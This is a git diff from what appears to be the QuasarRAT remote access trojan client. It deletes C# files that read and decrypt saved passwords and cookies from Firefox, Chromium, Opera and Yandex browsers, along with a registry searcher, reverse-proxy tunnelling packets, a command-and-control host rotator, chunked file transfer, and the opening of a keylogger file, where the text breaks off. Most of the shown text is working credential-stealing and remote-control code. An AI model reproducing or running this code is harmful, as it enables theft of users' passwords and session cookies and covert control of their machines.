NullReferenceException("Install string was null or empty"); - - firefoxPath = new DirectoryInfo(installPath); - } - } - return firefoxPath; - } - #endregion - - #region WinApi - // Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary - private static IntPtr LoadWin32Library(string libPath) - { - if (String.IsNullOrEmpty(libPath)) - throw new ArgumentNullException("libPath"); - - IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath); - if (moduleHandle == IntPtr.Zero) - { - var lasterror = Marshal.GetLastWin32Error(); - var innerEx = new Win32Exception(lasterror); - innerEx.Data.Add("LastWin32Error", lasterror); - - throw new Exception("can't load DLL " + libPath, innerEx); - } - return moduleHandle; - } - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate long NSS_InitPtr(string configdir); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate long PK11_GetInternalKeySlotPtr(); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen); - - [StructLayout(LayoutKind.Sequential)] - private struct TSECItem - { - public int SECItemType; - public int SECItemData; - public int SECItemLen; - } - - #endregion - - #region JSON - // json deserialize classes - /* private class JsonFFData - { - - public long nextId; - public LoginData[] logins; - public string[] disabledHosts; - public int version; - - } - private class LoginData - { - - public long id; - public string hostname; - public string url; - public string httprealm; - public string formSubmitURL; - public string usernameField; - public string passwordField; - public string encryptedUsername; - public string encryptedPassword; - public string guid; - public int encType; - public long timeCreated; - public long timeLastUsed; - public long timePasswordChanged; - public long timesUsed; - - }*/ - public class Login - { - public int id { get; set; } - public string hostname { get; set; } - public object httpRealm { get; set; } - public string formSubmitURL { get; set; } - public string usernameField { get; set; } - public string passwordField { get; set; } - public string encryptedUsername { get; set; } - public string encryptedPassword { get; set; } - public string guid { get; set; } - public int encType { get; set; } - public long timeCreated { get; set; } - public long timeLastUsed { get; set; } - public long timePasswordChanged { get; set; } - public int timesUsed { get; set; } - } - - public class JsonFFData - { - public int nextId { get; set; } - public List logins { get; set; } - public List disabledHosts { get; set; } - public int version { get; set; } - } - #endregion - - #region Delegate Handling - // Credit: http://www.codeforge.com/article/249225 - private static long PK11_GetInternalKeySlot() - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot"); - PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr)); - return ptr(); - } - private static long PK11_Authenticate(long slot, bool loadCerts, long wincx) - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate"); - PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr)); - return ptr(slot, loadCerts, wincx); - } - private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen) - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer"); - NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr)); - return ptr(arenaOpt, outItemOpt, inStr, inLen); - } - private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt"); - PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr)); - return ptr(ref data, ref result, cx); - } - private static string Decrypt(string cypherText) - { - StringBuilder sb = new StringBuilder(cypherText); - int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length); - TSECItem tSecDec = new TSECItem(); - TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem)); - if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) - { - if (tSecDec.SECItemLen != 0) - { - byte[] bvRet = new byte[tSecDec.SECItemLen]; - Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen); - return Encoding.UTF8.GetString(bvRet); - } - } - return null; - } - #endregion - } - public class FirefoxPassword - { - public string Username { get; set; } - public string Password { get; set; } - public Uri Host { get; set; } - public override string ToString() - { - return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine); - } - } - public class FirefoxCookie - { - public string Host { get; set; } - public string Name { get; set; } - public string Value { get; set; } - public string Path { get; set; } - public DateTime ExpiresUTC { get; set; } - public bool Secure { get; set; } - public bool HttpOnly { get; set; } - public bool Expired { get; set; } - - public override string ToString() - { - return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure); - } - } -} diff --git a/Client/Core/Recovery/Browsers/Opera.cs b/Client/Core/Recovery/Browsers/Opera.cs deleted file mode 100644 index 1328db485..000000000 --- a/Client/Core/Recovery/Browsers/Opera.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using xClient.Core.Data; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; - -namespace xClient.Core.Recovery.Browsers -{ - public class Opera - { - public static List GetSavedPasswords() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software\\Opera Stable\\Login Data"); - return ChromiumBase.Passwords(datapath, "Opera"); - } - catch (Exception) - { - return new List(); - } - } - - public static List GetSavedCookies() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software\\Opera Stable\\Cookies"); - return ChromiumBase.Cookies(datapath, "Opera"); - } - catch (Exception) - { - return new List(); - } - } - - - } -} diff --git a/Client/Core/Recovery/Browsers/Yandex.cs b/Client/Core/Recovery/Browsers/Yandex.cs deleted file mode 100644 index 10833577a..000000000 --- a/Client/Core/Recovery/Browsers/Yandex.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using xClient.Core.Data; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; - -namespace xClient.Core.Recovery.Browsers -{ - public class Yandex - { - public static List GetSavedPasswords() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Yandex\\YandexBrowser\\User Data\\Default\\Login Data"); - return ChromiumBase.Passwords(datapath, "Yandex"); - } - catch (Exception) - { - return new List(); - } - } - public static List GetSavedCookies() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Yandex\\YandexBrowser\\User Data\\Default\\Cookies"); - return ChromiumBase.Cookies(datapath, "Yandex"); - } - catch (Exception) - { - return new List(); - } - } - - } -} diff --git a/Client/Core/Recovery/Utilities/Chromium.cs b/Client/Core/Recovery/Utilities/Chromium.cs deleted file mode 100644 index e83a81fe6..000000000 --- a/Client/Core/Recovery/Utilities/Chromium.cs +++ /dev/null @@ -1,175 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using xClient.Core.Data; -using xClient.Core.Utilities; - -namespace xClient.Core.Recovery.Utilities -{ - public class ChromiumBase - { - public static List Passwords(string datapath, string browser) - { - List data = new List(); - SQLiteHandler SQLDatabase = null; - - if (!File.Exists(datapath)) - return data; - - try - { - SQLDatabase = new SQLiteHandler(datapath); - } - catch (Exception) - { - return data; - } - - if (!SQLDatabase.ReadTable("logins")) - return data; - - string host; - string user; - string pass; - int totalEntries = SQLDatabase.GetRowCount(); - - for (int i = 0; i < totalEntries; i++) - { - try - { - host = SQLDatabase.GetValue(i, "origin_url"); - user = SQLDatabase.GetValue(i, "username_value"); - pass = Decrypt(SQLDatabase.GetValue(i, "password_value")); - - if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null) - { - data.Add(new RecoveredAccount - { - URL = host, - Username = user, - Password = pass, - Application = browser - }); - } - } - catch (Exception) - { - // TODO: Exception handling - } - } - - return data; - } - public static List Cookies(string dataPath, string browser) - { - string datapath = dataPath; - - List data = new List(); - SQLiteHandler SQLDatabase = null; - - if (!File.Exists(datapath)) - return data; - try - { - SQLDatabase = new SQLiteHandler(datapath); - } - catch (Exception) - { - return data; - } - - if (!SQLDatabase.ReadTable("cookies")) - return data; - - string host; - string name; - string value; - string path; - string expires; - string lastaccess; - bool secure; - bool http; - bool expired; - bool persistent; - bool priority; - - int totalEntries = SQLDatabase.GetRowCount(); - - for (int i = 0; i < totalEntries; i++) - { - try - { - host = SQLDatabase.GetValue(i, "host_key"); - name = SQLDatabase.GetValue(i, "name"); - value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value")); - path = SQLDatabase.GetValue(i, "path"); - expires = SQLDatabase.GetValue(i, "expires_utc"); - lastaccess = SQLDatabase.GetValue(i, "last_access_utc"); - - secure = SQLDatabase.GetValue(i, "secure") == "1"; - http = SQLDatabase.GetValue(i, "httponly") == "1"; - expired = SQLDatabase.GetValue(i, "has_expired") == "1"; - persistent = SQLDatabase.GetValue(i, "persistent") == "1"; - priority = SQLDatabase.GetValue(i, "priority") == "1"; - - - if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value)) - { - data.Add(new ChromiumCookie - { - HostKey = host, - Name = name, - Value = value, - Path = path, - ExpiresUTC = expires, - LastAccessUTC = lastaccess, - Secure = secure, - HttpOnly = http, - Expired = expired, - Persistent = persistent, - Priority = priority, - Browser = browser - - }); - } - } - catch (Exception) - { - - } - } - - return data; - } - private static string Decrypt(string EncryptedData) - { - if (EncryptedData == null || EncryptedData.Length == 0) - { - return null; - } - byte[] decryptedData = ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(EncryptedData), null, DataProtectionScope.CurrentUser); - return Encoding.UTF8.GetString(decryptedData); - } - public class ChromiumCookie - { - public string HostKey { get; set; } - public string Name { get; set; } - public string Value { get; set; } - public string Path { get; set; } - public string ExpiresUTC { get; set; } - public string LastAccessUTC { get; set; } - public bool Secure { get; set; } - public bool HttpOnly { get; set; } - public bool Expired { get; set; } - public bool Persistent { get; set; } - public bool Priority { get; set; } - public string Browser { get; set; } - public override string ToString() - { - return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, HostKey, Name, Value, Path, Expired, HttpOnly, Secure); - } - } - } -} diff --git a/Client/Core/Registry/RegSeekerMatch.cs b/Client/Core/Registry/RegSeekerMatch.cs deleted file mode 100644 index 279817b3d..000000000 --- a/Client/Core/Registry/RegSeekerMatch.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace xClient.Core.Registry -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke and has only been - * modified partially. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Modified by StingRaptor on January 21, 2016 - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs - */ - - [Serializable] - public class RegSeekerMatch - { - public string Key { get; private set; } - public List Data { get; private set; } - public bool HasSubKeys { get; private set; } - - public RegSeekerMatch(string key, List data, int subkeycount) - { - Key = key; - Data = data; - HasSubKeys = (subkeycount > 0); - } - - public override string ToString() - { - return string.Format("({0}:{1})", Key, Data.ToString()); - } - } -} diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs deleted file mode 100644 index ee97c43fe..000000000 --- a/Client/Core/Registry/RegValueData.cs +++ /dev/null @@ -1,39 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Extensions; - -namespace xClient.Core.Registry -{ - [Serializable] - public class RegValueData - { - public string Name { get; set; } - public RegistryValueKind Kind { get; set; } - public object Data { get; set; } - - public RegValueData(string name, RegistryValueKind kind, object data) - { - Name = name; - Kind = kind; - Data = data; - } - - public string GetDataAsString() - { - return Kind.RegistryTypeToString(Data); - } - - public string GetKindAsString() - { - return Kind.RegistryTypeToString(); - } - - public override string ToString() - { - return string.Format("({0}:{1}:{2})", Name, GetKindAsString(), GetDataAsString()); - } - } -} diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs deleted file mode 100644 index 598fba931..000000000 --- a/Client/Core/Registry/RegistrySeeker.cs +++ /dev/null @@ -1,304 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Security; -using Microsoft.Win32; -using System.Threading; -using xClient.Core.Extensions; - -namespace xClient.Core.Registry -{ - /* - * Derived and Adapted from CrackSoft's Reg Explore. - * Reg Explore v1.1 (Release Date: June 24, 2011) - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This is a work that is not of the original. It - * has been modified to suit the needs of another - * application. - * (This has been taken from Justin Yanke's branch) - * First Modified by Justin Yanke on August 15, 2015 - * Second Modified by StingRaptor on January 21, 2016 - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Unmodified Source: - * https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs - */ - - public class MatchFoundEventArgs : EventArgs - { - public RegSeekerMatch Match { get; private set; } - - public MatchFoundEventArgs(RegSeekerMatch match) - { - Match = match; - } - } - - public class SearchCompletedEventArgs : EventArgs - { - public List Matches { get; private set; } - - public SearchCompletedEventArgs(List matches) - { - Matches = matches; - } - } - - public class RegistrySeeker - { - #region CONSTANTS - - /// - /// An array containing all of the root keys for the registry. - /// - public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[] - { - Microsoft.Win32.Registry.ClassesRoot, - Microsoft.Win32.Registry.CurrentUser, - Microsoft.Win32.Registry.LocalMachine, - Microsoft.Win32.Registry.Users, - Microsoft.Win32.Registry.CurrentConfig - }; - - #endregion - - #region Fields - - /// - /// Fired when the RegistrySeeker has finished searching through the registry. - /// - public event EventHandler SearchComplete; - - /// - /// Fired when a RegistryKey is found. - /// - public event EventHandler MatchFound; - - /// - /// The worker thread that does the searching/traversal through the registry. - /// - private BackgroundWorker searcher; - - /// - /// The lock used to ensure thread safety. - /// - private readonly object locker = new object(); - - /// - /// The search arguments to use for customizable registry searching. - /// - public RegistrySeekerParams searchArgs; - - /// - /// The list containing the matches found during the search. - /// - private List matches; - - /// - /// The queue of registry key paths to analyze further. - /// - private Queue pendingKeys; - - #endregion - - public RegistrySeeker() - { - searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true }; - - searcher.DoWork += new DoWorkEventHandler(worker_DoWork); - searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted); - searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged); - } - - public void Start(string rootKeyName) - { - if (rootKeyName != null && rootKeyName.Length > 0) - { - RegistryKey root = GetRootKey(rootKeyName); - - if (root != null) - { - //Check if this is a root key or not - if (root.Name != rootKeyName) - { - //Must get the subKey name by removing root and '\\' - string subKeyName = rootKeyName.Substring(root.Name.Length + 1); - root = root.OpenReadonlySubKeySafe(subKeyName); - } - } - - // Make sure that a root was found - if (root != null) - Start(new RegistrySeekerParams(root)); - } - } - - public void Start(RegistrySeekerParams args) - { - searchArgs = args; - - matches = new List(); - searcher.RunWorkerAsync(); - } - - void worker_ProgressChanged(object sender, ProgressChangedEventArgs e) - { - MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState)); - } - - public void Stop() - { - if (searcher.IsBusy) - { - lock (locker) - { - searcher.CancelAsync(); - // Wait until it is done... Similar to synchronous stop. - Monitor.Wait(locker); - } - } - } - - void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) - { - SearchComplete(this, new SearchCompletedEventArgs(matches)); - } - - void worker_DoWork(object sender, DoWorkEventArgs e) - { - // Get root registrys - if (searchArgs.RootKey == null) - { - foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS) - //Just need root key so process it - ProcessKey(key, key.Name); - } - else - { - //searching for subkeys to root key - Search(searchArgs.RootKey); - } - } - - void Search(string rootKeyName) - { - try - { - using (RegistryKey key = GetRootKey(rootKeyName).OpenReadonlySubKeySafe(rootKeyName)) - { - if (key != null) - { - Search(key); - } - } - } - catch - { } - } - - void Search(RegistryKey rootKey) - { - string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1); - - RegistryKey subKey = null; - string keyName; - int cropIndex = rootKey.Name.Length + 1; - pendingKeys = new Queue(rootKey.GetSubKeyNames()); - - while (pendingKeys.Count > 0) - { - if (searcher.CancellationPending) - { - lock (locker) - { - // Allow for a synchronous stop. - Monitor.Pulse(locker); - return; - } - } - - keyName = pendingKeys.Dequeue(); - - try - { - subKey = rootKey.OpenSubKey(keyName); - } - catch (SecurityException) - { - subKey = null; - } - finally - { - ProcessKey(subKey, keyName); - } - } - } - - private void ProcessKey(RegistryKey key, string keyName) - { - if (searcher.CancellationPending) - return; - - MatchData(key, keyName); - } - - private void MatchData(RegistryKey key, string keyName) - { - if (key != null) - { - List values = new List(); - - foreach (string valueName in key.GetValueNames()) - { - RegistryValueKind valueType = key.GetValueKind(valueName); - object valueData = key.GetValue(valueName); - values.Add(new RegValueData(valueName, valueType, valueData)); - } - - AddMatch(keyName, values, key.SubKeyCount); - } - else - { - AddMatch(keyName, null, 0); - } - - } - - private void AddMatch(string key, List values, int subkeycount) - { - RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount); - - if (MatchFound != null) - searcher.ReportProgress(0, match); - - matches.Add(match); - - } - - public static RegistryKey GetRootKey(string subkey_fullpath) - { - string[] path = subkey_fullpath.Split('\\'); - - switch (path[0]) // <== root; - { - case "HKEY_CLASSES_ROOT": - return Microsoft.Win32.Registry.ClassesRoot; - case "HKEY_CURRENT_USER": - return Microsoft.Win32.Registry.CurrentUser; - case "HKEY_LOCAL_MACHINE": - return Microsoft.Win32.Registry.LocalMachine; - case "HKEY_USERS": - return Microsoft.Win32.Registry.Users; - case "HKEY_CURRENT_CONFIG": - return Microsoft.Win32.Registry.CurrentConfig; - default: - /* If none of the above then the key must be invalid */ - throw new Exception("Invalid rootkey, could not be found"); - } - } - - public bool IsBusy - { - get { return searcher.IsBusy; } - } - } -} diff --git a/Client/Core/Registry/RegistrySeekerParams.cs b/Client/Core/Registry/RegistrySeekerParams.cs deleted file mode 100644 index 0ccca5504..000000000 --- a/Client/Core/Registry/RegistrySeekerParams.cs +++ /dev/null @@ -1,32 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Enums; - -namespace xClient.Core.Registry -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke and has only been - * modified partially. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Modified by StingRaptor on January 21, 2016 - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs - */ - - public class RegistrySeekerParams - { - public RegistryKey RootKey { get; set; } - - public RegistrySeekerParams(RegistryKey registryKey) - { - this.RootKey = registryKey; - } - } -} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs deleted file mode 100644 index 40d89dd57..000000000 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Core.Packets; - -namespace xClient.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyConnect : IPacket - { - public int ConnectionId { get; set; } - - public string Target { get; set; } - - public int Port { get; set; } - - public ReverseProxyConnect() - { - } - - public ReverseProxyConnect(int connectionId, string target, int port) - { - this.ConnectionId = connectionId; - this.Target = target; - this.Port = port; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs deleted file mode 100644 index 290b6832c..000000000 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using System.Net; -using xClient.Core.Networking; -using xClient.Core.Packets; - -namespace xClient.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyConnectResponse : IPacket - { - public int ConnectionId { get; set; } - - public bool IsConnected { get; set; } - - IPAddress LocalAddress { get; set; } - - public int LocalPort { get; set; } - - public string HostName { get; set; } - - public ReverseProxyConnectResponse(int connectionId, bool isConnected, IPAddress localAddress, int localPort, string targetServer) - { - this.ConnectionId = connectionId; - this.IsConnected = isConnected; - this.LocalAddress = localAddress; - this.LocalPort = localPort; - this.HostName = ""; - - if (isConnected) - { - try - { - //resolve the HostName of the Server - System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(targetServer); - if (entry != null && !String.IsNullOrEmpty(entry.HostName)) - { - HostName = entry.HostName; - } - } - catch { HostName = ""; } - } - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs deleted file mode 100644 index b0517cdec..000000000 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Core.Packets; - -namespace xClient.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyData : IPacket - { - public int ConnectionId { get; set; } - - public byte[] Data { get; set; } - - public ReverseProxyData() - { - } - - public ReverseProxyData(int connectionId, byte[] data) - { - this.ConnectionId = connectionId; - this.Data = data; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs deleted file mode 100644 index 67fa07092..000000000 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Core.Packets; - -namespace xClient.Core.ReverseProxy.Packets -{ - [Serializable] - public class ReverseProxyDisconnect : IPacket - { - public int ConnectionId { get; set; } - - public ReverseProxyDisconnect(int connectionId) - { - this.ConnectionId = connectionId; - } - - public ReverseProxyDisconnect() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs deleted file mode 100644 index c1c409274..000000000 --- a/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs +++ /dev/null @@ -1,39 +0,0 @@ -using xClient.Core.Networking; -using xClient.Core.Packets; -using xClient.Core.ReverseProxy.Packets; - -namespace xClient.Core.ReverseProxy -{ - public class ReverseProxyCommandHandler - { - public static void HandleCommand(Client client, IPacket packet) - { - var type = packet.GetType(); - - if (type == typeof (ReverseProxyConnect)) - { - client.ConnectReverseProxy((ReverseProxyConnect) packet); - } - else if (type == typeof (ReverseProxyData)) - { - ReverseProxyData dataCommand = (ReverseProxyData)packet; - ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId); - - if (proxyClient != null) - { - proxyClient.SendToTargetServer(dataCommand.Data); - } - } - else if (type == typeof (ReverseProxyDisconnect)) - { - ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet; - ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId); - - if (socksClient != null) - { - socksClient.Disconnect(); - } - } - } - } -} \ No newline at end of file diff --git a/Client/Core/Utilities/FileSplit.cs b/Client/Core/Utilities/FileSplit.cs deleted file mode 100644 index e55d28857..000000000 --- a/Client/Core/Utilities/FileSplit.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.IO; - -namespace xClient.Core.Utilities -{ - public class FileSplit - { - private int _maxBlocks; - private readonly object _fileStreamLock = new object(); - private const int MAX_BLOCK_SIZE = 65535; - public string Path { get; private set; } - public string LastError { get; private set; } - - public int MaxBlocks - { - get - { - if (this._maxBlocks > 0 || this._maxBlocks == -1) - return this._maxBlocks; - try - { - FileInfo fInfo = new FileInfo(this.Path); - - if (!fInfo.Exists) - throw new FileNotFoundException(); - - this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE); - } - catch (UnauthorizedAccessException) - { - this._maxBlocks = -1; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - this._maxBlocks = -1; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - if (ex is PathTooLongException) - this.LastError = "Path is too long"; - } - - return this._maxBlocks; - } - } - - public FileSplit(string path) - { - this.Path = path; - } - - private int GetSize(long length) - { - return (length < MAX_BLOCK_SIZE) ? (int)length : MAX_BLOCK_SIZE; - } - - public bool ReadBlock(int blockNumber, out byte[] readBytes) - { - try - { - if (blockNumber > this.MaxBlocks) - throw new ArgumentOutOfRangeException(); - - lock (_fileStreamLock) - { - using (FileStream fStream = File.OpenRead(this.Path)) - { - if (blockNumber == 0) - { - fStream.Seek(0, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - else - { - fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - } - } - - return true; - } - catch (ArgumentOutOfRangeException) - { - readBytes = new byte[0]; - this.LastError = "BlockNumber bigger than MaxBlocks"; - } - catch (UnauthorizedAccessException) - { - readBytes = new byte[0]; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - readBytes = new byte[0]; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to read from File Stream"; - } - - return false; - } - - public bool AppendBlock(byte[] block, int blockNumber) - { - try - { - if (!File.Exists(this.Path) && blockNumber > 0) - throw new FileNotFoundException(); // previous file got deleted somehow, error - - lock (_fileStreamLock) - { - if (blockNumber == 0) - { - using (FileStream fStream = File.Open(this.Path, FileMode.Create, FileAccess.Write)) - { - fStream.Seek(0, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - - return true; - } - - using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write)) - { - fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - } - - return true; - } - catch (UnauthorizedAccessException) - { - this.LastError = "Access denied"; - } - catch (IOException ex) - { - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to write to File Stream"; - } - - return false; - } - } -} \ No newline at end of file diff --git a/Client/Core/Utilities/HostsManager.cs b/Client/Core/Utilities/HostsManager.cs deleted file mode 100644 index 9f4a1f88a..000000000 --- a/Client/Core/Utilities/HostsManager.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System.Collections.Generic; -using xClient.Core.Data; - -namespace xClient.Core.Utilities -{ - public class HostsManager - { - public bool IsEmpty { get { return _hosts.Count == 0; } } - - private readonly Queue _hosts = new Queue(); - - public HostsManager(List hosts) - { - foreach(var host in hosts) - _hosts.Enqueue(host); - } - - public Host GetNextHost() - { - var temp = _hosts.Dequeue(); - _hosts.Enqueue(temp); // add to the end of the queue - - return temp; - } - } -} diff --git a/Client/Core/Utilities/Keylogger.cs b/Client/Core/Utilities/Keylogger.cs deleted file mode 100644 index fa24d4368..000000000 --- a/Client/Core/Utilities/Keylogger.cs +++ /dev/null @@ -1,293 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Text; -using System.Windows.Forms; -using xClient.Core.Helper; -using xClient.Core.MouseKeyHook; -using xClient.Core.Networking; -using Timer = System.Timers.Timer; -using xClient.Config; - -namespace xClient.Core.Utilities -{ 